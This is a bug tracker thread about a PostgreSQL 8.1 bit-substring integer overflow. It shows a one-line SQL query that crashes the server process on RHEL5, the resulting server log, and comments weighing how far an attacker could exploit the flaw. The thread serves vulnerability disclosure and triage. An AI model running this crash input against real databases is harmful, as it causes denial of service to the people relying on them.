I've seen this in my RSS reader: http://intevydis.blogspot.com/2010/01/postgresql-8023-bitsubstr-overflow.html So I figured I might try it on RHEL5: .qa.[root@i386-5s-3-m1 ~]# rpm -q postgresql postgresql-8.1.11-1.el5_1.1.i386 .qa.[root@i386-5s-3-m1 ~]# su - postgres -bash-3.2$ psql Welcome to psql 8.1.11, the PostgreSQL interactive terminal. Type: \copyright for distribution terms \h for help with SQL commands \? for help with psql commands \g or terminate with semicolon to execute query \q to quit postgres=# select version(); version --------------------------------------------------------------------------------------------------------- PostgreSQL 8.1.11 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20070626 (Red Hat 4.1.2-14) (1 row) postgres=# select substring(B'10101010101010101010101010101010101010101010101',33,-15); server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request. The connection to the server was lost. Attempting reset: Succeeded. The log shows: ... LOG: server process (PID 14481) was terminated by signal 11 LOG: terminating any other active server processes WARNING: terminating connection because of crash of another server process DETAIL: The postmaster has commanded this server process to roll back the current transaction and exit, because another server process exited abnormally and possibly corrupted shared memory. HINT: In a moment you should be able to reconnect to the database and repeat your command. LOG: all server processes terminated; reinitializing LOG: database system was interrupted at 2010-01-27 07:08:08 EST LOG: checkpoint record is at 0/33A70C LOG: redo record is at 0/33A70C; undo record is at 0/0; shutdown TRUE LOG: next transaction ID: 565; next OID: 10794 LOG: next MultiXactId: 1; next MultiXactOffset: 0 LOG: database system was not properly shut down; automatic recovery in progress LOG: record with zero length at 0/33A750 LOG: redo is not required LOG: database system is ready LOG: transaction ID wrap limit is 2147484146, limited by database "postgres" Not sure if this is relevant when ran with limited privileges, nevertheless, one shouldn't be able to kill/crash active database process.
Huh, those people must be reading the Postgres mailing lists: http://archives.postgresql.org/pgsql-hackers/2010-01/msg00634.php http://archives.postgresql.org/pgsql-committers/2010-01/msg00125.php We didn't consider this especially serious upstream, since AFAICS it'd be difficult to exploit it for anything more than a crash --- an attacker wouldn't have much control over what got copied where.
Since it is too late to address this issue in RHEL 5.5, it has been proposed for RHEL 5.6. Contact your support representative if you need to escalate this issue.
(In reply to comment #1) > an attacker wouldn't have much control over what got copied where. An attacker has control over prefix of what (taken from SQL query, specified by attacker as a stream of 0s and 1s, that is turned into bytes), where is somewhat predictable (after the buffer allocated on heap), the biggest problem is how much, as this is integer underflow, resulting in a long memory copy triggering SEGV before overwritten memory is used.
*** This bug has been marked as a duplicate of bug 586059 ***